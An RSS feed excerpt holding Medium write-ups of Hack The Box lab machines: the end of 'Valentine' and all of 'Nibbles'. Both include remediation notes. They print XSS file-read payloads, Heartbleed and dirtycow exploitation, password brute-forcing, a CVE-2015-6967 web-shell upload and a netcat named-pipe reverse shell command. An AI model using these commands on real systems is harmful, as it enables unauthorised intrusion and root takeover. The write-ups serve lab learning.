&lt;img src=”” onerror=”document.write(‘&lt;iframe src=file:///etc/passwd&gt;&lt;/iframe&gt;’)”/&gt;<br>- &lt;img src=&quot;&quot; onerror=&quot;document.write(&#39;&lt;iframe src=file://../../../../../../../../etc/passwd&gt;&lt;/iframe&gt;&#39;)&quot;/&gt;<br>- PGltZyBzcmM9IiIgb25lcnJvcj0iZG9jdW1lbnQud3JpdGUoJzxpZnJhbWUgc3JjPWZpbGU6Ly8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGFzc3dkPjwvaWZyYW1lPicpIi8+<br>- &lt;img src=&quot;&quot; onerror=&quot;document.write(&#39;&lt;iframe src=file:%2f%2f%2e%2e$2f%2e%2e$2f%2e%2e$2f%2e%2e$2f%2e%2e$2f%2e%2e$2f%2e%2e$2f%2e%2e$2f%2e%2e$2f%2e%2e$2f%2e%2e$2fetc%2fpasswd&gt;&lt;/iframe&gt;&#39;)&quot;/&gt;</pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*zGEXsgXCSBwOALntPgWEpQ.png" /><figcaption>Results of the payload above in /encode and /decode.php</figcaption></figure><p>There might be multiple payload to try to exploit it, but for now I’ll move on. Now that the /omg picture is interesting because of steganography possibility. I saved the file using wget and try to see if there are any hidden data inside it.</p><p>I found nothing using binwalk.</p><pre>Command: binwalk -e --signature omg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*ld95FdI5VmPiWn1E6zd1cQ.png" /><figcaption>Results of binwalk</figcaption></figure><p>One thing left to try before going back to injection in input field, try hash_key spray to several suspected name in ssh. Changed permission with chmod 600 hash_key to try. To be expected, passphrase required. Tried “omg”, “OMG”, “ohmygod”, and “OhMyGod”, but no result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*zJTdgMMMYLfhDHBVZF6Y2g.png" /><figcaption>Guessing credential</figcaption></figure><p>So, I try to reverse search the picture to see if there are any hint. I found the illustrator from one of the article that used the same picture. His name is Ernesto Víctor Saúl Herrera Hernández. Might try to use that as password or username. It seems that I went into rabbit hole.</p><p>Just now, I remember that I can try to crack the hash_key with john. Here is the <a href="https://null-byte.wonderhowto.com/how-to/crack-ssh-private-key-passwords-with-john-ripper-0302810/">link </a>and this <a href="https://medium.com/the-padlock/cracking-ssh-private-key-passphrase-459ba17e8d5d">link</a> that I use as a guide this time.</p><pre>Command: john --wordlist=/usr/share/wordlists/rockyou.txt hash_key<br>Result:<br>0 password hashes cracked</pre><p>Seems it is uncrackable for now. I’ve tried to delete the proc-type and dek-info, use ssh2john and use john to crack it.</p><p>Now with nothing in mind, I’m back to Injection. Payload:</p><pre>&lt;script&gt;document.write(&#39;&lt;iframe src=file:///../../../../../../../../etc/passwd&gt;&lt;/iframe&gt;&#39;);&lt;/script&gt;<br>&lt;script&gt;document.write(&#39;&lt;iframe src=file:///etc/passwd&gt;&lt;/iframe&gt;&#39;);&lt;/script&gt;<br>&lt;?php echo(&quot;hello&quot;)<br>PD9waHAgZWNobygiaGkiKSA/Pg==<br>PGgxPjwvaDE+</pre><p>Now that I have a new idea, what if there is a vulnerability inside PHP 5.3.10 base64 encoder/decoder. I found nothing after search on internet. Back again at injection, I found out that it can be injected with HTML code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*vC3n44I8L2albYTSeSd4Qg.png" /><figcaption>HTML Injection/?</figcaption></figure><p>After enumerating for a while, I found that “&lt;?” and “&lt;/&gt;” is being deleted. After two hours of headscratching, I decided to take a break and look at what I’ve found.</p><p>I try to reverse search the image again and find <a href="https://medium.com/@abdul.rafay.khan10/you-make-my-heart-bleed-baby-ac7f00d2fdb0">this</a> article. One thing that I didn’t check is SSL/TLS vulnerability, and that’s what the picture about. It is about heartbleed vulnerability in SSL/TLS. So, I run nmap to check if it’s vulnerable, and it is vulnerable.</p><pre>Command: nmap -sV -p 443 --script=ssl-heartbleed.nse 10.10.10.79<br>Nmap scan report for valentine.htb (10.10.10.79)<br>Host is up (0.30s latency).<br><br>PORT    STATE SERVICE  VERSION<br>443/tcp open  ssl/http Apache httpd 2.2.22 ((Ubuntu))<br>|_http-server-header: Apache/2.2.22 (Ubuntu)<br>| ssl-heartbleed: <br>|   VULNERABLE:<br>|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.<br>|     State: VULNERABLE<br>|     Risk factor: High<br>|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.<br>|           <br>|     References:<br>|       http://cvedetails.com/cve/2014-0160/<br>|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160<br>|_      http://www.openssl.org/news/secadv_20140407.txt </pre><p>Now that I found out what it is, I find this <a href="https://gist.github.com/eelsivart/10174134#file-heartbleed-py-L68">script</a> of CVE from github.</p><pre>Command:  python2 exploit.py valentine.htb<br><br>defribulator v1.16<br>A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)<br><br>##################################################################<br>Connecting to: valentine.htb:443, 1 times<br>Sending Client Hello for TLSv1.0<br>Received Server Hello for TLSv1.0<br><br>WARNING: valentine.htb:443 returned more data than it should - server is vulnerable!<br>Please wait... connection attempt 1 of 1<br>##################################################################<br><br>.@....SC[...r....+..H...9...<br>....w.3....f...<br>...!.9.8.........5...............<br>.........3.2.....E.D...../...A.................................I.........<br>...........<br>...................................#.......0.0.1/decode.php<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 42<br><br>$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==Nk....UP........t.h</pre><p>There is a text that looking similar to a base64 encoded string. Take it to cyberchef and found the password is heartbleedbelievethehype.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*GrLQW_7hyhh9Xl5hv2Veng.png" /><figcaption>Encoded $text in base64</figcaption></figure><p>I get that it’s a password, but I don’t know what the username yet. I try to use some of the enumerated one such as omg, valentine, dev, and last is hype, as the name suggests, hype’s key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*D-D4npGkiqmR6lK1qVmSjw.png" /></figure><h3>Privilege Escalation</h3><p>I ran some of basic enumeration for privilege escalation. Maybe there are some easy</p><pre>Command: find / -perm -u=s -type f 2&gt;/dev/null<br>Result (that might be interesting):<br>/bin/su                                                                                                                                 <br>...<br>/usr/lib/pt_chown<br>...<br>/usr/bin/pkexec<br>/usr/bin/sudoedit<br>/usr/bin/X<br>/usr/bin/newgrp<br>/usr/bin/lppasswd<br>/usr/bin/mtr<br>/usr/bin/chsh<br>/usr/bin/arping<br>...<br>/usr/sbin/uuidd<br>/usr/sbin/pppd<br><br>Command: sudo -l<br>Result: need password<br><br>Command: uname -a<br>Result: Linux Valentine 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux<br><br>Command: id<br>Result: uid=1000(hype) gid=1000(hype) groups=1000(hype),24(cdrom),30(dip),46(plugdev),124(sambashare)</pre><p>I’ll try to run linpeas first to know if there are any kernel exploit that I can use. Here is how I transfer it.</p><pre>Attacker: python -m http.server 1234<br>Victim: wget http://10.10.14.2:1234/linpeas.sh</pre><p>This is the list of kernel exploit that I get:</p><pre>[+] [CVE-2016-5195] dirtycow                                                                                                            <br>[+] [CVE-2016-5195] dirtycow 2<br>[+] [CVE-2013-2094] perf_swevent<br>[+] [CVE-2013-2094] perf_swevent 2<br>[+] [CVE-2021-4034] PwnKit<br>[+] [CVE-2015-3202] fuse (fusermount)<br>[+] [CVE-2014-4699] ptrace/sysret<br>[+] [CVE-2014-4014] inode_capable<br>[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)<br>[+] [CVE-2021-3156] sudo Baron Samedit<br>[+] [CVE-2021-3156] sudo Baron Samedit 2<br>[+] [CVE-2021-22555] Netfilter heap out-of-bounds write<br>[+] [CVE-2019-18634] sudo pwfeedback<br>[+] [CVE-2019-15666] XFRM_UAF<br>[+] [CVE-2018-1000001] RationalLove<br>[+] [CVE-2017-7308] af_packet<br>[+] [CVE-2017-6074] dccp<br>[+] [CVE-2017-1000366,CVE-2017-1000379] linux_ldso_hwcap_64<br>[+] [CVE-2017-1000253] PIE_stack_corruption<br>[+] [CVE-2016-2384] usb-midi<br>[+] [CVE-2015-9322] BadIRET<br>[+] [CVE-2015-8660] overlayfs (ovl_setattr)<br>[+] [CVE-2015-8660] overlayfs (ovl_setattr)<br>[+] [CVE-2014-5207] fuse_suid<br>[+] [CVE-2014-0196] rawmodePTY<br>[+] [CVE-2013-2094] semtex<br>[+] [CVE-2013-1959] userns_root_sploit<br>[+] [CVE-2013-0268] msr<br>[+] [CVE-2012-0809] death_star (sudo)</pre><p>It suggests dirtycow at the first output. I’ll try this <a href="https://github.com/firefart/dirtycow.git">exploit</a> that I found from github.</p><pre>Command: gcc dirty.c -o dirty --static -lcrypt</pre><p>— static flag is used for ELF compiled with library. Transfer it to the victim and executed it. This might take a while.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*VKNnZ3r3_hmcu-0BigDgSw.png" /><figcaption>Dirtycow exploit run</figcaption></figure><p>And I got the root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/1*pNykH9DohM_IMLTZVyiuVQ.png" /><figcaption>Rooted</figcaption></figure><h3>Summary</h3><p>There are several vulnerabilities here such as:</p><ul><li>Sensitive data exposure such as notes.txt, hype_key in /dev directory, error page that shows server’s version, etc.</li><li>XSS Injection (/encode.php and /decode.php).</li><li>HTML Injection.</li><li>Outdated SSL/TLS leads to Heartbleed (CVE-2014–0160).</li><li>Local privilege escalation “Dirty Cow” vulnerability (CVE-2016–5195).</li></ul><p>Remediation that I might suggest is:</p><ul><li>Migrate the sensitive data to another place and hide or remove /dev directory.</li><li>Reinforce the input sanitation.</li><li>Upgrade SSL/TLS version.</li><li>Update and upgrade the OS.</li><li>Change SSH port and don’t allow it to login as root or don’t allow it to be used at all.</li></ul><p>What didn’t work for me is:</p><ul><li>Cross-Site Scripting (XSS) Injection</li><li>SQL Injection</li><li>Server Site Template Injection (SSTI)</li><li>Code Injection</li></ul><p>What can I improve is:</p><ul><li>More quiet in scanning might be good.</li><li>Exploiting with dirtycow might broke the machine because it moves or creates backup of /etc/passwd and replace it.</li><li>Try to be creative in making a payload.</li></ul><p>What I learnt from this box is:</p><ul><li>Always check every details of enumeration, such as SSL/TLS version, “hype” in “hype_key”, etc.</li><li>nmap scripts does help with checking vulnerability.</li><li>When doing privilege escalation, try to enumerate the version of the linux first and try if the exploit works. Maybe using linenum or linux-exploit-suggester, like linpeas has.</li><li>Using “ — static” flag in gcc can help to make an ELF file. If there is still any dependencies, might as well use docker with the supported environment.</li><li>There are multiple ways to root a machine. Why? It’s just a feeling, because I didn’t enumerate further in the machine such as cronjobs, root ELF that accessible to user, etc.</li></ul><p>There are possibilities that this machine have several vulnerabilities. Please let me know if there are any recommendation, critics, or something that I might miss in this box. That’s all folks. Thanks for reading.</p><p><a href="https://www.hackthebox.com/achievement/machine/420156/127">https://www.hackthebox.com/achievement/machine/420156/127</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=69c86d1de55d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nibbles HTB Writeup]]></title>
            <link>https://geranard.medium.com/nibbles-htb-writeup-b0edea9e033f?source=rss-18216447fa9b------2</link>
            <guid isPermaLink="false">https://medium.com/p/b0edea9e033f</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Geranard]]></dc:creator>
            <pubDate>Thu, 21 Sep 2023 11:16:42 GMT</pubDate>
            <atom:updated>2023-09-23T09:29:59.823Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone. In this opportunity, I want to share a writeup about Nibbles, a retired box in HTB with difficulty easy.</p><figure><img alt="Nibbles information card" src="https://cdn-images-1.medium.com/max/1024/1*L6oGfZm1616bveuZfDC82Q.png" /><figcaption>Nibbles information card</figcaption></figure><h3>Enumeration</h3><p>nmap and rustscan at first.</p><pre>Nmap<br>Command: nmap -A -p- -T4 -Pn -vv -oN nmap-report-tcp.txt 10.10.10.75<br>Result:<br>PORT   STATE SERVICE REASON  VERSION<br>22/tcp open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD8ArTOHWzqhwcyAZWc2CmxfLmVVTwfLZf0zhCBREGCpS2WC3NhAKQ2zefCHCU8XTC8hY9ta5ocU+p7S52OGHlaG7HuA5Xlnihl1INNsMX7gpNcfQEYnyby+hjHWPLo4++fAyO/lB8NammyA13MzvJy8pxvB9gmCJhVPaFzG5yX6Ly8OIsvVDk+qVa5eLCIua1E7WGACUlmkEGljDvzOaBdogMQZ8TGBTqNZbShnFH1WsUxBtJNRtYfeeGjztKTQqqj4WD5atU8dqV/iwmTylpE7wdHZ+38ckuYL9dmUPLh4Li2ZgdY6XniVOBGthY5a2uJ2OFp2xe1WS9KvbYjJ/tH<br>|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPiFJd2F35NPKIQxKMHrgPzVzoNHOJtTtM+zlwVfxzvcXPFFuQrOL7X6Mi9YQF9QRVJpwtmV9KAtWltmk3qm4oc=<br>|   256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC/RjKhT/2YPlCgFQLx+gOXhC6W3A3raTzjlXQMT8Msk<br>80/tcp open  http    syn-ack Apache httpd 2.4.18 ((Ubuntu))<br>| http-methods: <br>|_  Supported Methods: OPTIONS GET HEAD POST<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>|_http-title: Site doesn&#39;t have a title (text/html).<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Rustscan<br>Command: rustscan -a 10.10.10.75 -r 1-65535 --ulimit 5000 -- -A<br>Result:<br>.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.<br>| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |<br>| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |<br>`-&#39; `-&#39;`-----&#39;`----&#39;  `-&#39;  `----&#39;  `---&#39; `-&#39;  `-&#39;`-&#39; `-&#39;<br>The Modern Day Port Scanner.<br>________________________________________<br>: http://discord.skerritt.blog         :<br>: https://github.com/RustScan/RustScan :<br> --------------------------------------<br>🌍HACK THE PLANET🌍<br><br>[~] Automatically increasing ulimit value to 5000.<br>Open 10.10.10.75:22<br>Open 10.10.10.75:80<br>[~] Starting Script(s)<br>[&gt;] Running script &quot;nmap -vvv -p {{port}} {{ip}} -A&quot; on ip 10.10.10.75<br>Depending on the complexity of the script, results may take some time to appear.<br>[~] Starting Nmap 7.94 ( https://nmap.org )<br><br>PORT   STATE SERVICE REASON  VERSION<br>22/tcp open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD8ArTOHWzqhwcyAZWc2CmxfLmVVTwfLZf0zhCBREGCpS2WC3NhAKQ2zefCHCU8XTC8hY9ta5ocU+p7S52OGHlaG7HuA5Xlnihl1INNsMX7gpNcfQEYnyby+hjHWPLo4++fAyO/lB8NammyA13MzvJy8pxvB9gmCJhVPaFzG5yX6Ly8OIsvVDk+qVa5eLCIua1E7WGACUlmkEGljDvzOaBdogMQZ8TGBTqNZbShnFH1WsUxBtJNRtYfeeGjztKTQqqj4WD5atU8dqV/iwmTylpE7wdHZ+38ckuYL9dmUPLh4Li2ZgdY6XniVOBGthY5a2uJ2OFp2xe1WS9KvbYjJ/tH<br>|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPiFJd2F35NPKIQxKMHrgPzVzoNHOJtTtM+zlwVfxzvcXPFFuQrOL7X6Mi9YQF9QRVJpwtmV9KAtWltmk3qm4oc=<br>|   256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC/RjKhT/2YPlCgFQLx+gOXhC6W3A3raTzjlXQMT8Msk<br>80/tcp open  http    syn-ack Apache httpd 2.4.18 ((Ubuntu))<br>| http-methods: <br>|_  Supported Methods: OPTIONS GET HEAD POST<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>|_http-title: Site doesn&#39;t have a title (text/html).<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>nmap and rustscan find an open port which is port 80. Here is the content of 10.10.10.75 on port 80.</p><figure><img alt="10.10.10.75 on port 80" src="https://cdn-images-1.medium.com/max/963/1*soVgiIcwIBl5FtWtV02vlg.png" /><figcaption>10.10.10.75 on port 80</figcaption></figure><p>Wappalyzer detects the use of PHP languages, Apache HTTP Server, Ubuntu as an OS, RSS, and jQuery 2.1.0 as JS library.</p><p>Viewing page source, I find /nibbleblog/ directory.</p><figure><img alt="View page source of 10.10.10.75 on port 80" src="https://cdn-images-1.medium.com/max/538/1*KO0-OtdppMmUipUom03ESQ.png" /><figcaption>View page source of 10.10.10.75 on port 80</figcaption></figure><p>Here is the content of /nibbleblog/ directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1xj5uPPAVt_BTRazMd1DzA.png" /><figcaption>Content of /nibbleblog/ directory in 10.10.10.75 on port 80</figcaption></figure><p>While enumerating the site, I did set two dirbusters to do directory busting.</p><pre>Command: dirbuster<br>Target: http://10.10.10.75:80<br>Threads: 100 each<br>Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt<br>Dir to start with: / and /nibbleblog<br>File extension: php,txt,sql,sh<br>Use blank extension: true</pre><p>I set the extensions to php,txt,sql,sh because this web is supported by PHP programming language and is on ubuntu OS. txt and sql extension is just for prevention.</p><figure><img alt="Dirbuster settings" src="https://cdn-images-1.medium.com/max/1024/1*N5jf7YPCaFS_IzWyPBN4CA.png" /><figcaption>Dirbuster settings</figcaption></figure><p>I leave it that way for a while and proceed to enumerating the site. It is stated in the website that it used Nibbleblog as Content Management System (CMS).</p><p>I found nothing inside the website. All of the clickable links are filled with “There are no posts” with more or less similar link structure url/nibbleblog/index.php?controller=blog&amp;action=view&amp;category={category}.</p><p>I run nikto to see if it found something while moving to dirbuster.</p><pre>Command: nikto -url http://10.10.10.75/nibbleblog<br>Result:<br>- Nikto v2.5.0<br>---------------------------------------------------------------------------<br>+ Target IP:          10.10.10.75<br>+ Target Hostname:    10.10.10.75<br>+ Target Port:        80<br>+ Start Time:         2023-09-21<br>---------------------------------------------------------------------------<br>+ Server: Apache/2.4.18 (Ubuntu)<br>+ /nibbleblog/: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options<br>+ /nibbleblog/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/<br>+ /nibbleblog/: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies<br>+ No CGI Directories found (use &#39;-C all&#39; to force check all possible dirs)<br>+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.<br>+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .<br>+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.<br>+ /nibbleblog/admin.php?en_log_id=0&amp;action=config: EasyNews version 4.3 allows remote admin access. This PHP file should be protected. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5412<br>+ /nibbleblog/admin.php?en_log_id=0&amp;action=users: EasyNews version 4.3 allows remote admin access. This PHP file should be protected. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5412<br>+ /nibbleblog/admin/: Directory indexing found.<br>+ /nibbleblog/admin.php: This might be interesting.<br>+ /nibbleblog/admin/: This might be interesting.<br>+ /nibbleblog/README: README file found.<br>+ /nibbleblog/install.php: install.php file found.<br>+ /nibbleblog/LICENSE.txt: License file found may identify site software.<br>+ 8049 requests: 0 error(s) and 14 item(s) reported on remote host<br>+ End Time:           2023-09-21 (2517 seconds)<br>---------------------------------------------------------------------------<br>+ 1 host(s) tested</pre><p>Looking back to dirbuster, a directory with path /nibbleblog/admin was found. So, I try to access it to see what it’s about.</p><figure><img alt="Content of /nibbleblog/admin" src="https://cdn-images-1.medium.com/max/1024/1*pqAGpAz2_CBucSft4SEFPg.png" /><figcaption>Content of /nibbleblog/admin</figcaption></figure><p>After crawling around, I found that there are source codes lying around and dirbuster found a lot of interesting subdirectory. I decided to go to dirbuster first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*lIohNsXpWq3OdQeggCI_Xw.png" /><figcaption>Dirbuster’s result</figcaption></figure><p>First one to catch my eyes is /nibbleblog/admin.php.</p><figure><img alt="Content of admin.php" src="https://cdn-images-1.medium.com/max/944/1*rf6qsZTKDmY7Li7guA9_Zg.png" /><figcaption>Content of admin.php</figcaption></figure><p>Here is what I try in admin.php:</p><ul><li>Trying some default credentials such as admin:admin, admin:123456, admin:Admin1234, etc. Didn’t work.</li><li>There’s a forgot password functionality but it has issues with sending mail based on the error message.</li><li>Using SQL injection payload such as ‘ “ ; -- # got blacklist protection.</li><li>Nikto found <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5412">CVE-2006-5412</a> which leads to this <a href="https://www.exploit-db.com/exploits/2588">exploit-db article</a>. It is said on the article that this exploit works with 4.4.0, 4.4.1, and previous version might affected too. So, I give it a try, to change the “en_log_id” parameter’s value from 0 to true. It doesn’t work.</li></ul><p>I think there are several things that I have to try, but I decided to move forward first.</p><p>Dirbuster found install.php. There is only a sentence that said “Blog already installed… May be you want to update?” with the “update” &lt;a&gt; tagged to update.php.</p><figure><img alt="Content of install.php" src="https://cdn-images-1.medium.com/max/568/1*DvwL1qu78x5NRhDgKF9GBA.png" /><figcaption>Content of install.php</figcaption></figure><p>After clicking the “update”, I got redirected to update.php with information that config DB, comments DB, and categories updated with nibleblog version 4.0.3 “Coffee” being used.</p><figure><img alt="Content of update.php" src="https://cdn-images-1.medium.com/max/945/1*N8qOEu1RVTWbJZrQCitPoQ.png" /><figcaption>Content of update.php</figcaption></figure><p>I find /content/private/config.xml and comments.xml and opened it. There is an email.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*iqTnM7taDpj0hVbKvLVYsw.png" /></figure><h3>Gaining Foothold</h3><p>The username of administrator might be “admin”, guessing from the email above. So, I do bruteforce credentials with hydra. Here is a <a href="https://infinitelogins.com/2020/02/22/how-to-brute-force-websites-using-hydra/">website</a> that explains hydra parameter. I’ll run it and set it aside.</p><pre>Command: sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 80 -f 10.10.10.75 http-post-form &quot;/admin.php?controller=user&amp;action=login:username=admin&amp;password=^PASS^:Incorrect username or password&quot;</pre><p>There are multiple ways to bruteforce password, from ffuf, burpsuite (might crash if using rockyou.txt), or make my own script.</p><p>Might use ffuf for prevention. This <a href="https://medium.com/quiknapp/fuzz-faster-with-ffuf-c18c031fc480">link </a>might be a good source to see how it works. Don’t forget to use quote unquote to prevent the ffuf from being daemon (running in background) if there is ampersand symbol being used in url.</p><pre>Command: ffuf -request request.txt -request-proto http -mode pitchfork -w /usr/share/wordlists/rockyou.txt:PASSFUZZ -fs 48,1541</pre><p>Use filter response length so the shell wouldn’t flood with all the 200 success responses. It seems that there is a blacklist protection which means I can’t bruteforce, should have use rate limit.</p><p>Heads to internet to search for nibbleblog 4.0.3 vulnerability and I find the arbitrary file upload vulnerability. Here is some of the source where I read: <a href="https://github.com/dix0nym/CVE-2015-6967">github</a>, <a href="https://www.exploit-db.com/exploits/38489">exploit-db</a>, and <a href="https://www.rapid7.com/db/modules/exploit/multi/http/nibbleblog_file_upload/">rapid7</a>.</p><p>Username and password is needed based on github, meanwhile I don’t have the username or password. Giving it a try doesn’t hurt. So, I download the git and run it as instructed.</p><pre>Command: <br>git clone https://github.com/dix0nym/CVE-2015-6967.git<br>cd CVE-2015-6967<br>python3 exploit.py --url http://10.10.10.75/nibbleblog/ --username admin --password nibbles --payload shell.php</pre><p>Unless, I don’t have the shell.php. So, I download <a href="https://github.com/flozz/p0wny-shell">p0wny-shell</a> and use the shell as payload.</p><figure><img alt="Attack result" src="https://cdn-images-1.medium.com/max/817/1*059M5OueMgUil1Qpb3eakA.png" /><figcaption>Attack result</figcaption></figure><p>I don’t expect it to work, with admin:nibbles credential I try to login. And it works.</p><figure><img alt="Nibbleblog admin page" src="https://cdn-images-1.medium.com/max/946/1*qZYk4VkjgBPSJG2W_40qtw.png" /><figcaption>Nibbleblog admin page</figcaption></figure><p>Now that’s left to do is to search where the shell is uploaded. Based on the exploit code, it was uploaded to my_image plugin and can be accessed from /nibbleblog/content/private/plugins/my_image/image.php.</p><figure><img alt="p0wny-shell successfully uploaded" src="https://cdn-images-1.medium.com/max/948/1*O_dTuw3-n3rdwtb1lO8qpg.png" /><figcaption>p0wny-shell successfully uploaded</figcaption></figure><p>And with that, I get the user.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*4iQ--mQkRSEvYP4NJkJEoA.png" /><figcaption>Content of user.txt</figcaption></figure><h3>Privilege Escalation</h3><p>I use netcat to get reverse shell because more responsive.</p><pre>Command: rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.14.2 1337 &gt;/tmp/f</pre><p>There is personal.zip at /home/nibbler which might be interesting. But, first thing that I usually do when got into user is checking the privilege on what can I do or run.</p><pre>Command: sudo -l<br>Result:<br>Matching Defaults entries for nibbler on Nibbles:<br>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin<br><br>User nibbler may run the following commands on Nibbles:<br>    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh</pre><p>It seems that I can run monitor.sh inside personal.zip, that is why the file is there. I try to unzip it first using “unzip personal.zip” command.</p><p>Nibbler have a write access, which means I can use it to sudo.</p><figure><img alt="Content of /personal/stuff and permission of monitor.sh" src="https://cdn-images-1.medium.com/max/467/1*70cxjLbOjEN_Q9abBVZ85w.png" /><figcaption>Content of /personal/stuff and permission of monitor.sh</figcaption></figure><p>This is the the command that I use to add “sudo su” to monitor.sh.</p><pre>Command: echo &#39;sudo su&#39; &gt;&gt; monitor.sh</pre><p>Then I run “sudo ./monitor.sh”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*1FMyhAvRvvMxSIvGRWU4gA.png" /></figure><h3>Summary</h3><p>There are several vulnerability here such as:</p><ul><li>Outdated version of nibbleblog.</li><li>Source code disclosure and sensitive data exposure on directory listing (/nibbleblog/admin).</li><li>Weak password policy (admin:nibbles).</li><li>Arbitrary file upload (CVE-2015–6967).</li><li>No access/permission control to protect file (/personal/stuff/monitor.sh).</li></ul><p>Remediation that I might suggest is:</p><ul><li>Update nibbleblog or change it to newer CMS.</li><li>Hide or move /nibbleblog/admin directory.</li><li>Use stronger password.</li><li>Don’t use outdated plugin.</li><li>Fix the permission of file.</li></ul><p>What didn’t work for me is:</p><ul><li>SQLi at admin login page</li><li>Bruteforcing creds at admin login page using hydra (error) and ffuf(got blocked by nibbleblog)</li></ul><p>There are possibilities that this machine have several vulnerability such as SQLi, XSS, etc. Please let me know if there are any recommendation, critics, or something that I might miss in this box. That’s all folks. Thanks for reading.</p><p><a href="https://www.hackthebox.com/achievement/machine/420156/121">Owned Nibbles from Hack The Box!</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b0edea9e033f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Driver]]></title>
            <link>https://geranard.medium.com/htb-driver-1b89d38f5be3?source=rss-18216447fa9b------2</link>
            <guid isPermaLink="false">https://medium.com/p/1b89d38f5be3</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <dc:creator><![CDATA[Geranard]]></dc:creator>
            <pubDate>Sat, 29 Jan 2022 09:09:08 GMT</pubDate>
